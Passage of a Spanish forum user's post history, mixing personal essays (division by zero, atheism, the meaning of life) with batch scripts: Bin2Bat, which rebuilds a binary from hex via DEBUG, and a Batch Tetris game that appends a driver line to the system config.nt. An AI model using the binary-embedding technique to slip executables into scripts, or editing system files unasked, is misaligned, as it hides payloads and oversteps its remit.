Puede sonar raro, pero en la red hay de todo.
Estoy buscando una página que me encuaderne un libro que yo le pase en PDF y así lo pueda comprar.
Se trata de un libro que no existe en soporte físico y que a mí me gustaría tener.

¿Alguien conoce alguna página que ofrezca ese servicio?

Gracias por vuestra ayuda ;)
#22
Foro Libre / Dividir por 0
17 Abril 2013, 20:07 PM
Ya, dividir por 0 está prohibido, es una indefinición, no tiene solución.
Esto probablemente sea una parida, pero permitidme entreteneros un poco, será divertido.

Antes de abordar el tema, mejor veamos un caso similar conocido por todos.
Es bien sabido que el cuadrado de cualquier número real es un número positivo. Es imposible que al elevar un número al cuadrado se obtenga un resultado negativo, y por ende, tampoco se puede hacer la raiz cuadrada de un número negativo.
Bueno, por lo que todos habéis estudiado me diréis que no, que en el cuerpo de los números complejos sí que tiene solución y el resultado es "i", la unidad imaginaria.
Los números complejos no siempre existieron, de hecho costó bastante tiempo hasta que los matemáticos dieron el concepto por válido.

Se creó un número extraño, un número que no puede existir y entra en contradicción con las reglas matemáticas:

i^2 = -1

Bueno, ¿por qué no hacemos lo mismo con la división por cero, y a ver qué sale?

El problema en este caso es el siguiente:

Nosotros sabemos que 10/2 = 5, ya que 5*2 = 10. Dividir por cero es un problema principalmente porque 10/0 = ?. No hay ningún número que multiplicado por 0 dé 10, ya que cualquier número multiplicado por 0 da 0. ¿Eso no os suena? ¡Claro que sí! Es el mismo caso que en los números complejos, y vamos a saltarnos esa regla con la misma técnica.

Crearemos un número, una unidad imaginaria 2.0 perteneciente a un cuerpo de números sin bautizar. Vamos a llamarla "u", por ejemplo.

u = 1/0

Esto es interesante porque ahora:

1/1 = 1 ---> porque 1*1 = 1
1/0 = u ---> porque 0*u = 1

10/2 = 5 ---> porque 5*2 = 10
10/0 = 10u ---> porque 0*10u = 10

Sí, los números de nuestro nuevo cuerpo multiplicados por 0 no dan 0. Esto no provoca en ningún caso un caos matemático y no llegaremos nunca a la típica falsa demostración de 2 = 1.

Y bueno, si veis que esto se cae por algún lado o por todos, decidlo. Yo de momento no le he visto error, aunque hay que reconocer que es ciertamente inútil todo esto.
#23
Hardware / ¿Qué tal este portátil?
21 Febrero 2013, 02:36 AM
Hola a todos  :-*

Quería pediros opinión sobre este portátil en relación calidad precio.
Su coste es de 799€... vamos, para que los ojos se enfoquen bien, de 800€

Se trata de un TOSHIBA L850-1UX, características generales:

-Procesador Intel Core i7-3630QM a 2,4 GHz
-Memoria 4 GB
-HDD de 500 GB
-Gráfica AMD Radeon HD 7670M 2 GB

No sé, yo tal vez lo encuentro un poco caro. ¿Qué decís?
#24
Sí, ya se sabe que es 42. Aunque la pregunta está mal formulada  :xD

Yendo un poco más en serio, empezaré con una cita:

"No pierdas la sonrisa ni siquiera cuando te vayan a ejecutar. La vida es una broma de mal gusto; en vez de centrarte en el «mal gusto», céntrate en la «broma». Si buscas justicia en vez de tranquilidad en este mundo democrático, suicídate. Para vivir hoy hay que saber reírse de la estúpida realidad".

Robert Brasillach

Creo que eso define muy bien mi concepción de la vida últimamente. Es una p**a broma de mal gusto. Es efecto sin causa. Es vivir por el mero hecho de seguir viviendo, pero sin un objetivo en concreto. La vida es un fin en si mismo, y la vida únicamente se busca a sí misma. Filosofía barata de mercadillo.

Me gustaría que reflexionarais unos instantes. Mirad a vuestro alrededor y sed conscientes de la realidad que os envuelve. Luego, cerrad los ojos e imaginad el paso de toda vuestra vida. No os costará, el tiempo pasa muy rápido. Situados en esa realidad, podéis imaginar seguramente el momento de vuestra muerte, justo ese instante donde vuestra vida acaba. Y quiero que reflexionéis, y que sepáis que ese momento es real. De hecho, es tan real como lo que os rodea ahora mismo y sucederá. Dejad de pensar en el mañana, en el pasado o en la semana que viene. La vida tiene un final y vosotros estáis en él.

Sí, por supuesto, ahora uno me podría decir: ¿y qué? Es evidente que moriremos todos, nadie se libra.
Claro que sí, pero cuando uno dice eso lo hace suponiendo a la muerte como algo ficticio. Se dice por decir, vamos, sin ser consciente de lo que realmente eso significa.

Yo, para ser sincero, sólo he logrado ser consciente de esa realidad durante una infinitamente pequeña fracción de instante, y me fue suficiente para decir: ¿y entonces qué cojones?

No busco un motivo para mi existencia, ni mucho menos. Es el peor error en el que incurrió la humanidad durante su historia intelectual, a mi modo de ver.
Estoy aquí porque sí, porque a mis padres una buena noche les dio por divertirse un rato. Más lejos, mis abuelos, más lejos, ... ... , más lejos, la humanidad en sí. Y no hay ninguna razón para que estemos aquí, simplemente estamos y ya y además no es ninguna casualidad, simplemente era un hecho que tenía que ocurrir en el universo. Pero es más, al universo no le importa en absoluto que estemos o dejemos de estar.

El caos es el caos, y no se rige por nada más que el propio caos.

Pero dejando eso de lado, lo que más nos afecta como humanos es nuestra concepción de la vida. Obviando nadie se quiere morir, ¿cómo concebís vosotros la vida? Olvidando a dioses varios, por supuesto, que no vienen al caso.
#25
Foro Libre / Llamada real a la SGAE
24 Noviembre 2012, 18:30 PM
No sé si lo habréis visto, que ya es un poco viejo, pero si no, aquí tenéis para reiros un rato.

[youtube=640,360]http://www.youtube.com/watch?feature=player_embedded&v=LXNcEW7VtaY[/youtube]
#26
Foro Libre / ¿Algún conlanger por aquí?
14 Noviembre 2012, 02:23 AM

Buenas foro,

Vengo a preguntar a los aquí presentes si alguno de ellos tiene como pasatiempo el conlanging, es decir, la creación de ideolenguas (o idiomas artificiales, aunque a mí no me gusta llamarlas así).
Para los que no estén familiarizados con los términos, conlang viene de "constructed language" y los conlangers somos un puñado de frikis que pasamos las horas de nuestra miserable existencia dándole vida a idiomas propios. Vale no, tal vez la mayoría no llegue a ese extremo, pero sí que es cierto que para muchos es un hobby algo absurdo.

Como sea, es actualmente una de las cosas que más hago junto con programar y tenía curiosidad por ver si por aquí hay gente con esa misma afición.

¡Un saludo!
#27
Foro Libre / ¿Por qué soy ateo?
1 Septiembre 2012, 06:40 AM
Yo soy ateo. ¿Que por qué lo soy? Podría decir que porque sí, ya que realmente uno no necesitaría de razones para no creer en leyendas que no se basan en ningún razonamiento lógico más que la fe ciega; no obstante, como gran parte de la gente tiene alguna creecia religiosa, hay que tener ciertos motivos para apartarse de ello y reafirmarse mentalmente.
Antes que nada deseo explicar qué es el ateísmo. Ser ateo significa principalmente  no creer en ningún ser o historia mitológica incluídos en cualquier cultura religiosa. En consecuencia y por compartir la misma esencia, también significa no aceptar la existencia de fantasmas, espíritus o fuerzas sobrenaturales, estando estos incluídos generalmente en la cultura popular y las leyendas urbanas.
Una metáfora sobre el ateísmo podría ser la siguiente: ser ateo es como la muerte. Si estás muerto, no existes y por ende no se puede hablar de ti como entidad. Así pues, ser ateo no es como tal una forma de pensar, sino más bien la ausencia de necesidad de cavilar sobre cosas sin fundamento.
Es como la hoja de papel sobre la cual nunca se derramó tinta. La tinta no existe, no se expande, no llena tu mente. Simplemente, no está.
Yo, como todo ser humano y bestia sobre la faz de la tierra, nací pues ateo. Fue en mis años de crianza cuando, estando en el seno de una familia católica, mis padres comenzaron a instruirme en su liturgia: la religión católica.
La verdad es que por aquel entonces mi mente no daba muchas vueltas. Me limitaba a escuchar lo que me decían y a aceptarlo como válido; santa inocencia. Además, con todas las historias que había escuchado sobre Los Reyes Magos, Papá Noel, Ratoncito Pérez y otros, lo cierto es que el cuento de un hombre sentado en los cielos que nos había creado a todos y a todo, tampoco me parecía tan inverosímil. Eso sí, notaba que se le estaba dando demasiado énfasis al asunto, hasta un punto anormal al que no llegaban las otras historias.
Yo antes que ateo fui agnóstico. ¿Y cómo di el paso de creyente a agnóstico? Bueno, dicen que gato escaldado al agua le tiene miedo, y eso es básicamente lo que me ocurrió: perdí la anteriormente mencionada santa inocencia. Resulta que a lo largo de mis años fui acumulando incongruencias que surgían en mi mente alrededor de las historias que me iban explicando.
Todos los padres llegan a un momento en el que no les queda más remedio que contarles a sus hijos que los tres señores barbudos que traen regalos no existen en realidad. A mí eso me tocó muy pronto, en torno a los cinco años, cuando les solté de golpe todas esas incoherencias que había encontrado y ellos no tuvieron otra opción que relatarme la verdad.
Aquí estamos en una situación en la que se matan bastante pájaros de un tiro, porque esa verdad aniquiló por completo todas las otras mentiras. Vi que todas las historias contadas poseían los mismos pilares fundamentales: tienes que creer ciegamente, no puedes exigir pruebas, tienes que hacer lo que te dicen y entonces tendrás tu recompensa (o castigo en caso de incumplimiento). En el caso de los Reyes Magos si crees en ellos, te portas bien y les haces caso tus papás, te traerán muchos regalos y, si no, te traerán carbón. En el caso de Dios, si crees en él, te portas bien y haces caso a todo lo que dice su libro sagrado, irás al cielo. En caso contrario arderás eternamente en las llamas del infierno. Vamos, lo mismo, así que analizando un poco descarté todas esas ideas.
En ese momento yo simplemente era agnóstico y no creía en los cuentos de hadas que oía, aunque no negaba rotundamente tampoco la existencia de algo; una fuerza, un ser supremo o lo que fuera.
Y después yo fui ateo. ¿Y cómo di el paso de agnóstico a ateo?
Sucedió cuando empecé la educación primaria, que en España es a los seis años, y más tarde, obligado por mis progenitores, las clases de catequesis.
Durante mi educación primaria fui aprendiendo sobre diferentes culturas, diferentes formas de pensar así como avances científicos y tecnológicos que dieron explicación a muchas de las incógnitas que padecía la humanidad desde el principio de los tiempos. Fíjate que los diluvios no eran causados porque un dios estuviera irritado. Ni los terremotos. El sol y la luna eran astros, entre otro tantos que se observan en el cosmos, y no dioses a los que adorar. Y así podemos seguir con un largo etcétera.
Mala suerte tuve, porque resulta que en el colegio donde estudiaba también había clases de religión, y aunque eran optativas por supuesto a mí no me era permitido elegir nada y todo pasaba a cargo de mis tutores legales. Así que, a tragárselas sin rechistar, que a quien no quiere un plato se le dan dos.
Algo que me enfadó sobremanera es la falta de consideración y de respeto hacia otras religiones. Lo cierto es que me tocó bastante la moral ya que encima la profesora resultó ser una patética xenofóbica, siendo esto poco raro si se siguen las pautas bíblicas al pie de la letra (literatura miles de años anterior a nuestra época, con una moralidad muy distinta).
Considerando el por qué de la existencia de las religiones, ya con la experiencia y la madurez de unos ocho o nueve años, vi que simplemente estaban allí para saciar un mero vacío existencial. Para atribuir a seres místicos todo aquellos desconocido y para apaciguar un poco ese miedo exorbitante que le tenemos a la muerte.
A partir de ahí dejé totalmente atrás cualquier creencia y me dediqué a reflexionar sobre otra cuestiones que todavía al día de hoy y por siempre me seguirán dando dolores de cabeza. Poco a poco la humanidad va avanzando y llegará un momento de plenitud en el que nuestra autoestima real (y no el falso egocentrismo que padecen muchos) nos permita prescindir de falsas mitologías y confiar totalmente en nuestras capacidades para resolver cualquier problema o duda que nos corroa por dentro.
Esta es mi experiencia y las razones de por qué pienso como pienso. Únicamente quería compartirla.
Un saludo.
#28
Scripting / [BATCH]Bin2Bat
29 Julio 2012, 02:25 AM
Este es un pequeño script que hice hace ya tiempo que es capaz de descomponer un fichero de un tamaño no superior a 64kb en hexadecimal, para luego volver a ensamblarlo usando debug.

Por cierto, no se me olvida, ¡muchas gracias a "Germaniac", que me ayudó a perfeccionarlo y a quitar la basura innecesaria!


@Echo Off
Title Bin2Bat
Set/P "File_Con=File: "
Set/P "File_Fin=BAT Name: "
Echo.
If Not Exist "%File_Con%" (
    Echo.File not Found.
    Pause>Nul
    Exit
)
Call:BfE "%File_Con%" "%File_Fin%"
Echo.Completed.
Pause>NUL
Exit
:BfE
  SetLocal EnableDelayedExpansion
Set "_=Echo."
   Set/A "$=%~z1+0xFF"
Call:D2H "%~z1" "#" & Call:D2H "%$%" "$"
    !_!@more +1 %%0^|Debug^>NUL^&Exit>"%~2"
   For /f "Eol=- Tokens=*" %%z in ('
       ^(!_!D 0100 %$%^&!_!Q^)^|DEBUG %~1
      ') do (Set "_TEX=%%z"
       Set "_SEX= !_TEX:~11,47!"
       Set "_SEX=!_SEX:   =!"
        call !_!e!_TEX:~5,4!%%_SEX:-= %%>>"%~2"
   )
(!_!RCX&!_!!#!&!_!N %~n2%~x1&!_!W&!_!Q)>>"%~2"
EndLocal & Exit/B
:D2H
  %ComSpec% /c Exit/B %~1
For /f "Tokens=* Delims=0" %%_ in (
     "%=ExitCode%") Do Set "%~2=%%_"
GoTo:EoF


Y ya que estamos, dejo un ejemplo de cómo queda el "CHOICE.COM" (para quienes no lo tengan para correr el Batch Tetris que posteé).



@more +1 %0|Debug>NUL&Exit
e0100 E9 32 04 59 4E 00 00 00 00 00 00 00 00 00 00 00
e0110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e0180 00 00 00 00 00 57 61 69 74 73 20 66 6F 72 20 74
e0190 68 65 20 75 73 65 72 20 74 6F 20 63 68 6F 6F 73
e01A0 65 20 6F 6E 65 20 6F 66 20 61 20 73 65 74 20 6F
e01B0 66 20 63 68 6F 69 63 65 73 2E 0D 0A 0D 0A 00 43
e01C0 48 4F 49 43 45 20 5B 2F 43 5B 3A 5D 63 68 6F 69
e01D0 63 65 73 5D 20 5B 2F 4E 5D 20 5B 2F 53 5D 20 5B
e01E0 2F 54 5B 3A 5D 63 2C 6E 6E 5D 20 5B 74 65 78 74
e01F0 5D 0D 0A 0D 0A 00 2F 43 5B 3A 5D 63 68 6F 69 63
e0200 65 73 20 53 70 65 63 69 66 69 65 73 20 61 6C 6C
e0210 6F 77 61 62 6C 65 20 6B 65 79 73 2E 20 44 65 66
e0220 61 75 6C 74 20 69 73 20 59 4E 0D 0A 2F 4E 20 20
e0230 20 20 20 20 20 20 20 20 20 44 6F 20 6E 6F 74 20
e0240 64 69 73 70 6C 61 79 20 63 68 6F 69 63 65 73 20
e0250 61 6E 64 20 3F 20 61 74 20 65 6E 64 20 6F 66 20
e0260 70 72 6F 6D 70 74 20 73 74 72 69 6E 67 2E 0D 0A
e0270 2F 53 20 20 20 20 20 20 20 20 20 20 20 54 72 65
e0280 61 74 20 63 68 6F 69 63 65 20 6B 65 79 73 20 61
e0290 73 20 63 61 73 65 20 73 65 6E 73 69 74 69 76 65
e02A0 2E 0D 0A 2F 54 5B 3A 5D 63 2C 6E 6E 20 20 20 20
e02B0 44 65 66 61 75 6C 74 20 63 68 6F 69 63 65 20 74
e02C0 6F 20 63 20 61 66 74 65 72 20 6E 6E 20 73 65 63
e02D0 6F 6E 64 73 0D 0A 74 65 78 74 20 20 20 20 20 20
e02E0 20 20 20 50 72 6F 6D 70 74 20 73 74 72 69 6E 67
e02F0 20 74 6F 20 64 69 73 70 6C 61 79 0D 0A 0D 0A 45
e0300 52 52 4F 52 4C 45 56 45 4C 20 69 73 20 73 65 74
e0310 20 74 6F 20 6F 66 66 73 65 74 20 6F 66 20 6B 65
e0320 79 20 75 73 65 72 20 70 72 65 73 73 65 73 20 69
e0330 6E 20 63 68 6F 69 63 65 73 2E 0D 0A 0D 0A 00 49
e0340 6E 76 61 6C 69 64 20 73 77 69 74 63 68 20 6F 6E
e0350 20 63 6F 6D 6D 61 6E 64 20 6C 69 6E 65 2E 20 45
e0360 78 70 65 63 74 65 64 20 66 6F 72 6D 3A 0D 0A 20
e0370 20 20 20 00 43 48 4F 49 43 45 3A 20 69 6E 76 61
e0380 6C 69 64 20 63 68 6F 69 63 65 20 73 77 69 74 63
e0390 68 20 73 79 6E 74 61 78 2E 20 45 78 70 65 63 74
e03A0 65 64 20 66 6F 72 6D 3A 20 2F 43 5B 3A 5D 63 68
e03B0 6F 69 63 65 73 0D 0A 00 43 48 4F 49 43 45 3A 20
e03C0 49 6E 63 6F 72 72 65 63 74 20 74 69 6D 65 6F 75
e03D0 74 20 73 79 6E 74 61 78 2E 20 20 45 78 70 65 63
e03E0 74 65 64 20 66 6F 72 6D 20 54 63 2C 6E 6E 20 6F
e03F0 72 20 54 3A 63 2C 6E 6E 0D 0A 00 43 48 4F 49 43
e0400 45 3A 20 54 69 6D 65 6F 75 74 20 64 65 66 61 75
e0410 6C 74 20 6E 6F 74 20 69 6E 20 73 70 65 63 69 66
e0420 69 65 64 20 28 6F 72 20 64 65 66 61 75 6C 74 29
e0430 20 63 68 6F 69 63 65 73 2E 0D 0A 00 43 48 4F 49
e0440 43 45 3A 20 6F 6E 6C 79 20 6F 6E 65 20 70 72 6F
e0450 6D 70 74 20 73 74 72 69 6E 67 20 61 6C 6C 6F 77
e0460 65 64 2E 20 45 78 70 65 63 74 65 64 20 46 6F 72
e0470 6D 3A 0D 0A 20 20 20 20 00 43 48 4F 49 43 45 3A
e0480 20 72 65 71 75 69 72 65 73 20 4D 53 2D 44 4F 53
e0490 20 76 65 72 73 69 6F 6E 20 34 2E 30 20 6F 72 20
e04A0 6C 61 74 65 72 2E 0D 0A 00 00 00 01 00 00 00 00
e04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e0500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e0510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e0520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e0530 00 00 00 00 00 FC B0 01 B4 30 CD 21 3C 03 7F 0B
e0540 BB 79 04 E8 57 02 B0 FF E9 4E 02 06 B8 02 65 BB
e0550 FF FF B9 05 00 8B D3 0E BF 2F 05 CD 21 47 C4 3D
e0560 26 8B 1D B8 00 01 2B C3 A3 33 05 83 C7 02 89 3E
e0570 2F 05 8C 06 31 05 07 BE 81 00 AC 3C 0D 75 03 E9
e0580 38 01 3C 2F 74 41 3C 20 74 F0 3C 09 74 EC BF AF
e0590 04 80 3D 00 75 20 3C 22 75 04 B2 22 EB 03 B2 2F
e05A0 AA 8A 04 3C 0D 74 D3 3A C2 74 04 AA 46 EB F2 3C
e05B0 2F 74 C7 46 EB C4 BB 3C 04 E8 E1 01 BB BF 01 E8
e05C0 DB 01 B0 FF E9 D2 01 AC E8 E9 01 3C 3F 74 24 3C
e05D0 43 74 37 3C 4E 74 6D 3C 54 74 71 3C 53 75 03 E9
e05E0 D0 00 BB 3F 03 E8 B5 01 BB BF 01 E8 AF 01 B0 FF
e05F0 E9 A6 01 BB 85 01 E8 A4 01 BB BF 01 E8 9E 01 BB
e0600 F6 01 E8 98 01 B0 FF E9 8F 01 BF 03 01 8A 04 3C
e0610 3A 75 03 46 8A 04 3C 20 74 12 3C 09 74 0E 3C 0D
e0620 74 0A 3C 2F 74 06 AA 46 8A 04 EB EA B0 00 88 05
e0630 81 FF 03 01 74 03 E9 41 FF BB 74 03 E8 5E 01 B0
e0640 FF E9 55 01 C6 06 AB 04 00 E9 2E FF 8A 04 3C 3A
e0650 75 03 46 8A 04 3C 0D 74 4E 3C 2F 74 4A 3C 20 74
e0660 46 3C 09 74 42 A2 AE 04 46 8A 04 3C 2C 75 38 46
e0670 8A 04 3C 30 72 31 3C 39 77 2D 83 E0 0F A2 AD 04
e0680 46 8A 04 3C 30 73 03 E9 F0 FE 3C 39 76 03 E9 E9
e0690 FE A0 AD 04 BA 0A 00 F6 E2 8A 1C 80 E3 0F 02 C3
e06A0 A2 AD 04 46 E9 D3 FE BB B8 03 E8 F0 00 B0 FF E9
e06B0 E7 00 C6 06 AC 04 01 E9 C0 FE 80 3E AC 04 01 74
e06C0 1B A0 AE 04 E8 ED 00 A2 AE 04 BE 03 01 80 3C 00
e06D0 74 0A 8A 04 E8 DD 00 88 04 46 EB F1 BF 03 01 B9
e06E0 80 00 A0 AE 04 F2 AE 74 0B BB FB 03 E8 AE 00 B0
e06F0 FF E9 A5 00 BB AF 04 E8 A3 00 80 3E AB 04 01 75
e0700 29 BF 03 01 B4 02 B2 5B CD 21 B4 02 8A 15 CD 21
e0710 47 80 3D 00 74 08 B4 02 B2 2C CD 21 EB EC B4 02
e0720 B2 5D CD 21 B4 02 B2 3F CD 21 80 3E AD 04 00 74
e0730 2D B4 2C CD 21 88 36 AA 04 B4 0B CD 21 83 E0 01
e0740 83 C8 00 75 19 B4 2C CD 21 38 36 AA 04 74 EA 88
e0750 36 AA 04 FE 0E AD 04 75 E0 A0 AE 04 EB 04 B4 08
e0760 CD 21 BF 03 01 80 3E AC 04 01 74 03 E8 45 00 80
e0770 3D 00 74 05 AE 74 0A EB F6 B4 02 B2 07 CD 21 EB
e0780 DD B4 02 8A D0 CD 21 B4 02 B2 0D CD 21 B4 02 B2
e0790 0A CD 21 81 EF 03 01 8B C7 B4 4C CD 21 50 57 52
e07A0 B4 02 33 FF 8A 11 80 FA 00 74 05 CD 21 47 EB F4
e07B0 5A 5F 58 C3 53 57 06 3C 61 72 1B 3C 7A 77 04 2C
e07C0 20 EB 13 3C 80 72 0F C4 3E 2F 05 8B D8 32 FF 2B
e07D0 1E 33 05 26 8A 01 07 5F 5B C3
RCX
6DA
N CHOICE.COM
W
Q


Un saludo  :P
#29
Scripting / [BATCH GAME] ¡Batch Tetris V 1.0!
28 Julio 2012, 09:01 AM
¡Hola a todos!
En su momento, SmartGenius hizo un Tetris en batch (¡ya hace dos años, cómo corre el tiempo!).

Yo me he dedicado también a hacer una. Esta, como podéis ver, está coloreada.



El código es un poco complejo porque usando ANSI.SYS, a no ser que hagas una cutrada, no tienes tanto control sobre el plano como si lo definieras manualmente.


Requisitos:

Funciona únicamente en una plataforma Windows de 16 o 32 bits.
Es necesaria una primera ejecución con privilegios de administrador para que el programa pueda cargar el controlador de dispositivo ansi.sys en memoria.


Controles

CitarA - Mover pieza a la izquierda
D - Mover pieza a la derecha
R - Rotar pieza (rotación hacia la derecha)
S - Descender pieza una posición

Aquí lo dejo:


@echo off
setlocal enableextensions enabledelayedexpansion
chdir /d "%temp%"
:_ansi.sys
mode con cols=80 lines=25
mem/c | find /i "ansi" 1>nul || ((
echo.device=%SystemRoot%\system32\ansi.sys /X
)>>%SystemRoot%\system32\config.nt
if "%~1" NEQ "1" (
start "" %0 1 & exit /b 0
) else (exit /b 1)
) 1>nul 2>&1
if "%~1" NEQ "_high" start "" /high /b "%~0" _high & exit /b 0
if not exist "choice.com" call :_choice.gen
exit|"%ComSpec%" /k prompt e$S100$S1B$_n$S@$_rcx$_1$_w$_q$_>#
debug<#>nul & for /f "tokens=*" %%_ in (@) do set "esc=%%_"
:_init.data
call :_LoadScreen
call :_LoadShapes
:::::::::::::::::
:::Bound Type 1::
set "Bound=Ï"
:::::::::::::::::
:::Block Type 2::
::set "Bound=²"::
:::::::::::::::::
:::Block Type 3::
::set "Bound=Û"::
:::::::::::::::::
Set "Table=Û"
set "-.LimX=27" & set "+.LimX=46" & set "-.LimY=3" & set "+.LimY=22"
set/a "Lin.Lim=%+.LimX%-%-.LimX%+1"
call :_LoadLines
set/a "Score=0"
Command/C Echo.%esc%[24;33H%esc%[0;34m%Score%
Command/C Echo.%esc%[1;66H%esc%[0;34m¸ Binary_Death
call :_make.shape
:_main

:::::::::Default Choice:::::::::::
choice.com /c:adrs /n /t:s,1 > nul
::::::::::::::::::::::::::::::::::

::You can use this if the game is running in Windows Vista/Seven::
::choice.exe /c adrs /d s /t 1 > nul
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

if "%errorlevel%" EQU "1" call :_move "X" "-" "1"
if "%errorlevel%" EQU "2" call :_move "X" "+" "1"
if "%errorlevel%" EQU "3" call :_rotate
call :_move "Y" "+" "1"

:::::Double Movement:::::
::call :_move "Y" "+" "1"
:::::::::::::::::::::::::

goto :_main
:_move
if "%~1" EQU "X" (
1>nul 2>&1,(echo:%CurShape%|find /i "X!%~2.LimX!") && goto :eof
set "cmd.crd=set "NewShape=^^!NewShape^^!,X^^!New.X^^!Y%%Y" & set "NewCrd=%%Y;^^!New.X^^!""
)
if "%~1" EQU "Y" (
1>nul 2>&1,(echo:%CurShape%|find /i "Y%+.LimY%") && (call :_fix.shape & goto :eof)
set "cmd.crd=set "NewShape=^^!NewShape^^!,X%%XY^^!New.Y^^!" & set "NewCrd=^^!New.Y^^!;%%X""
)
set "NewShape=" & set "ansi_line_old=" & set "ansi_line_new="
for %%c in (%CurShape%) do (
for /f "tokens=1,2 delims=X,Y" %%X in ("%%c") do (
set/a "New.%~1=%%%~1 %~2 %~3"
%cmd.crd%
set "ansi_line_old=!ansi_line_old!%esc%[%%Y;%%XH%esc%[0;30m%Table%"
set "ansi_line_new=!ansi_line_new!%esc%[!NewCrd!H%esc%[!shape[%CurShape.Num%.C]!m%Bound%"
)
)
if "%~4" NEQ "rotate" (
2>nul,set lin.cnt|findstr /i "%NewShape:,= %">nul && if "%~1" NEQ "X" (call :_fix.shape & goto :eof) else goto :eof
command /c echo:%ansi_line_old%&command /c echo:%ansi_line_new%
)
set "CurShape=%NewShape:~1%"
set/a "Movs.%~1%~2=%~3"
goto :eof
:_fix.shape
for %%_ in (%CurShape%) do for /f "tokens=1,2 delims=XY" %%X in ("%%_") do (
set/a "lin.num[%%Y]+=1" & set "lin.cnt[%%Y]=!lin.cnt[%%Y]!,%%_S!shape[%CurShape.Num%.C]:;=$!"
)
call :_cmp.lin
call :_make.shape
goto :eof
:_cmp.lin
for /l %%_ in (%-.LimY%,1,%+.LimY%) do (
if !lin.num[%%_]! GEQ %Lin.Lim% call :_down.lin "%%_"
)
goto :eof
:_down.lin
for /l %%_ in (%-.LimX%,1,%+.LimX%) do command /c echo:%esc%[%~1;%%_H%esc%[0;30m%Table%
for /l %%_ in (%~1,-1,%-.LimY%) do (
set/a "r_l=%%_-1"
call set "lin.num[%%_]=%%lin.num[!r_l!]%%"
if defined lin.cnt[!r_l!] (
call set "lin.cnt[%%_]=%%lin.cnt[!r_l!]:Y!r_l!=Y%%_%%"
) else  (set "lin.cnt[%%_]=")
for %%w in (!lin.cnt[%%_]!) do (
for /f "tokens=1,2,3 delims=XYS" %%X in ("%%w") do (
set/a "Old.Y=%%Y-1"
set "color=%%Z"
command /c echo:%esc%[!Old.Y!;%%XH%esc%[0;30m%Table%%esc%[%%Y;%%XH%esc%[!color:$=;!m%Bound%
)
)
)
set/a "Score+=100"
Command/C Echo.%esc%[24;33H%esc%[0;34m%Score%
goto :eof
:_rotate
if "%CurShape.Num%" EQU "5" goto :eof
set/a "f_p_x=0" & echo:%CurShape.Num%.%CurShape.Pos%|findstr /i "2.1 2.3">nul && set/a "f_p_x=1"
set/a "f_p_y=0" & echo:%CurShape.Num%.%CurShape.Pos%|findstr /i "2.0 2.2">nul && set/a "f_p_y=1"
set "CurShape.old=%CurShape%" & set "CurShape.Pos.old=%CurShape.Pos%"
set/a "CurShape.Pos=(%CurShape.Pos%+1) %% 4"
set "CurShape=!shape[%CurShape.Num%.%CurShape.Pos%]!"
if %Movs.X% GTR 9 set/a "Movs.X-=(%Movs.X%-9)+%f_p_x%"
if %Movs.Y% GTR 17 set/a "Movs.Y-=(%Movs.Y%-17)+%f_p_y%"
call :_move "X" "+" "%Movs.X%" "rotate" & set/a "Movs.X-=%Movs.X%"
call :_move "Y" "+" "%Movs.Y%" "rotate" & set/a "Movs.Y-=%Movs.Y%"
2>nul set lin.cnt|findstr /i "%CurShape:,= %">nul && (
set "CurShape=%CurShape.old%"
set "CurShape.Pos=%CurShape.Pos.old%"
goto :eof
)
call :_paint "%CurShape.old%" "%Table%" "0;30"
call :_paint "%CurShape%" "%Bound%" "!shape[%CurShape.Num%.C]!"
goto :eof
:_paint
set "ansi_line=echo:"
for %%c in (%~1) do for /f "tokens=1,2 delims=X,Y" %%p in ("%%c") do (
set "ansi_line=!ansi_line!%esc%[%%q;%%pH%esc%[%~3m%~2"
)
)
command /c %ansi_line%
goto :eof
:_make.shape
set/a "CurShape.Num=%random% %% 7", "CurShape.Pos=0"
set "CurShape=!shape[%CurShape.Num%.%CurShape.Pos%]!"
call :_paint "%CurShape%" "%Bound%" "!shape[%CurShape.Num%.C]!"
2>nul set lin.cnt|findstr /i "%CurShape:,= %">nul && goto :_gameover
set/a "Movs.X=0","Movs.Y=0","Create.Shape=0"
goto :eof
:_LoadScreen
more/c 0<nul
title Batch Tetris v1.0
color 07
for /l %%_ in (1,1,20) do set "s_p=!s_p! "
echo:     !s_p!  Batch  Tetris v1.0
echo:     !s_p!ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
for /l %%_ in (1,1,20) do echo:     !s_p!º!s_p!º
echo:     !s_p!ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo:     !s_p!Score:
goto:eof
:_LoadLines
for /l %%_ in (%-.LimY%,1,%+.LimY%) do (
set/a "lin.num[%%_]=0"
set "lin.cnt[%%_]="
)
goto :eof
:_gameover
more/c 0<nul & echo+Game Over.
pause  1>nul & exit
:_LoadShapes
set "shape[0.0]=X35Y3,X36Y3,X37Y3,X36Y4"
set "shape[0.1]=X35Y4,X36Y3,X36Y4,X36Y5"
set "shape[0.2]=X36Y3,X35Y4,X36Y4,X37Y4"
set "shape[0.3]=X35Y3,X35Y4,X35Y5,X36Y4"
set "shape[0.C]=0;33"
set "shape[1.0]=X36Y3,X37Y3,X35Y4,X36Y4"
set "shape[1.1]=X35Y3,X35Y4,X36Y4,X36Y5"
set "shape[1.2]=X36Y3,X37Y3,X35Y4,X36Y4"
set "shape[1.3]=X35Y3,X35Y4,X36Y4,X36Y5"
set "shape[1.C]=0;32"
set "shape[2.0]=X35Y3,X36Y3,X37Y3,X38Y3"
